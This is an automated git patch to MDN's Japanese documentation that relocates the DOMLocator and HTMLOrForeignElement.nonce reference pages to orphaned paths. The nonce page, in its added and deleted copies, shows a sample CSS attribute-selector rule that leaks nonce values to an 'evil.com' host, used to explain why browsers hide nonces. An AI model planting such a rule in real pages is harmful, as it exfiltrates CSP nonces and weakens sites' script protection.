From 751e4b6115b0d8f30a147dcba95a3e21445ba4de Mon Sep 17 00:00:00 2001 From: MDN Date: Wed, 7 Jul 2021 00:36:00 +0000 Subject: [CRON] sync translated content --- files/ja/_redirects.txt | 4 +- files/ja/_wikihistory.json | 26 ++++----- files/ja/orphaned/web/api/domlocator/index.html | 57 ++++++++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 63 ++++++++++++++++++++++ files/ja/web/api/domlocator/index.html | 56 ------------------- .../web/api/htmlorforeignelement/nonce/index.html | 62 --------------------- 6 files changed, 136 insertions(+), 132 deletions(-) create mode 100644 files/ja/orphaned/web/api/domlocator/index.html create mode 100644 files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/ja/web/api/domlocator/index.html delete mode 100644 files/ja/web/api/htmlorforeignelement/nonce/index.html (limited to 'files/ja') diff --git a/files/ja/_redirects.txt b/files/ja/_redirects.txt index 0dce209c98..ed20668cc1 100644 --- a/files/ja/_redirects.txt +++ b/files/ja/_redirects.txt @@ -3742,6 +3742,7 @@ /ja/docs/Web/API/Console.error /ja/docs/Web/API/Console/error /ja/docs/Web/API/Coordinates /ja/docs/Web/API/GeolocationCoordinates /ja/docs/Web/API/DOMCursor.done /ja/docs/Web/API/DOMCursor/done +/ja/docs/Web/API/DOMLocator /ja/docs/orphaned/Web/API/DOMLocator /ja/docs/Web/API/DOMRequest.error /ja/docs/Web/API/DOMRequest/error /ja/docs/Web/API/DeviceAcceleration /ja/docs/Web/API/DeviceMotionEventAcceleration /ja/docs/Web/API/DeviceLightEvent /ja/docs/orphaned/Web/API/DeviceLightEvent @@ -3823,7 +3824,7 @@ /ja/docs/Web/API/HTMLElement/dataset /ja/docs/orphaned/Web/API/HTMLOrForeignElement/dataset /ja/docs/Web/API/HTMLElement/focus /ja/docs/Web/API/HTMLOrForeignElement/focus /ja/docs/Web/API/HTMLElement/forceSpellCheck /ja/docs/orphaned/Web/API/HTMLElement/forceSpellCheck -/ja/docs/Web/API/HTMLElement/nonce /ja/docs/Web/API/HTMLOrForeignElement/nonce +/ja/docs/Web/API/HTMLElement/nonce /ja/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /ja/docs/Web/API/HTMLElement/style /ja/docs/orphaned/Web/API/ElementCSSInlineStyle/style /ja/docs/Web/API/HTMLElement/tabIndex /ja/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /ja/docs/Web/API/HTMLFormElement.acceptCharset /ja/docs/Web/API/HTMLFormElement/acceptCharset @@ -3853,6 +3854,7 @@ /ja/docs/Web/API/HTMLIFrameElement.getVisible /ja/docs/Web/API/HTMLIFrameElement/getVisible /ja/docs/Web/API/HTMLIFrameElement.stop /ja/docs/Web/API/HTMLIFrameElement/stop /ja/docs/Web/API/HTMLOrForeignElement/dataset /ja/docs/orphaned/Web/API/HTMLOrForeignElement/dataset +/ja/docs/Web/API/HTMLOrForeignElement/nonce /ja/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /ja/docs/Web/API/HTMLOrForeignElement/tabIndex /ja/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /ja/docs/Web/API/HTMLTableElement.align /ja/docs/Web/API/HTMLTableElement/align /ja/docs/Web/API/HTMLTableElement.bgColor /ja/docs/Web/API/HTMLTableElement/bgColor diff --git a/files/ja/_wikihistory.json b/files/ja/_wikihistory.json index 5691642ed0..8e442ad50d 100644 --- a/files/ja/_wikihistory.json +++ b/files/ja/_wikihistory.json @@ -11890,12 +11890,6 @@ "Uemmra3" ] }, - "Web/API/DOMLocator": { - "modified": "2020-08-13T09:34:48.574Z", - "contributors": [ - "eltociear" - ] - }, "Web/API/DOMMatrix": { "modified": "2019-03-23T22:26:24.870Z", "contributors": [ @@ -17060,13 +17054,6 @@ "ethertank" ] }, - "Web/API/HTMLOrForeignElement/nonce": { - "modified": "2020-10-15T22:22:13.107Z", - "contributors": [ - "mfuji09", - "Wind1808" - ] - }, "Web/API/HTMLOutputElement": { "modified": "2020-10-15T21:18:44.480Z", "contributors": [ @@ -51647,6 +51634,12 @@ "Shirasu" ] }, + "orphaned/Web/API/DOMLocator": { + "modified": "2020-08-13T09:34:48.574Z", + "contributors": [ + "eltociear" + ] + }, "orphaned/Web/API/Detecting_device_orientation": { "modified": "2020-10-15T21:21:30.973Z", "contributors": [ @@ -51755,6 +51748,13 @@ "Kenju" ] }, + "orphaned/Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-10-15T22:22:13.107Z", + "contributors": [ + "mfuji09", + "Wind1808" + ] + }, "orphaned/Web/API/HTMLOrForeignElement/tabIndex": { "modified": "2020-10-15T21:09:43.599Z", "contributors": [ diff --git a/files/ja/orphaned/web/api/domlocator/index.html b/files/ja/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..a43fbf8320 --- /dev/null +++ b/files/ja/orphaned/web/api/domlocator/index.html @@ -0,0 +1,57 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +tags: + - API + - DOM + - DOM Reference + - Obsolete + - Reference +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: これは Mozilla には実装されていません

+
+ +

エラーが発生した場所などを示します。 DOMError.location によって返されます。

+ +

プロパティ

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
+ +

メソッド

+ +

このインターフェイスは、メソッドを実装も継承もしません。

+ +

仕様

+ + + + + + + + + + + + + + +
仕様ステータス備考
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}初回定義
diff --git a/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..ab1e19b3a6 --- /dev/null +++ b/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLOrForeignElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +
{{APIRef("HTML DOM")}}
+ +

nonce は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

+ +

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

+ +

+ +

ノンス値の受け取り

+ +

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

+ +

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

仕様書

+ + + + + + + + + + + + +
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.nonce")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/domlocator/index.html b/files/ja/web/api/domlocator/index.html deleted file mode 100644 index 1cc40f4afe..0000000000 --- a/files/ja/web/api/domlocator/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -tags: - - API - - DOM - - DOM Reference - - Obsolete - - Reference -translation_of: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE: これは Mozilla には実装されていません

-
- -

エラーが発生した場所などを示します。 DOMError.location によって返されます。

- -

プロパティ

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
- -

メソッド

- -

このインターフェイスは、メソッドを実装も継承もしません。

- -

仕様

- - - - - - - - - - - - - - -
仕様ステータス備考
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}初回定義
diff --git a/files/ja/web/api/htmlorforeignelement/nonce/index.html b/files/ja/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index cd64acbbb5..0000000000 --- a/files/ja/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: HTMLOrForeignElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - Content Security Policy - - Experimental - - HTML DOM - - HTMLElement - - Property - - Reference - - nonce -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -
{{APIRef("HTML DOM")}}
- -

nonce は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

- -

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

- -

- -

ノンス値の受け取り

- -

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

- -

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

仕様書

- - - - - - - - - - - - -
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
- -

ブラウザーの互換性

- -

{{Compat("api.HTMLElement.nonce")}}

- -

関連情報

- - -- cgit v1.2.3-54-g00ecf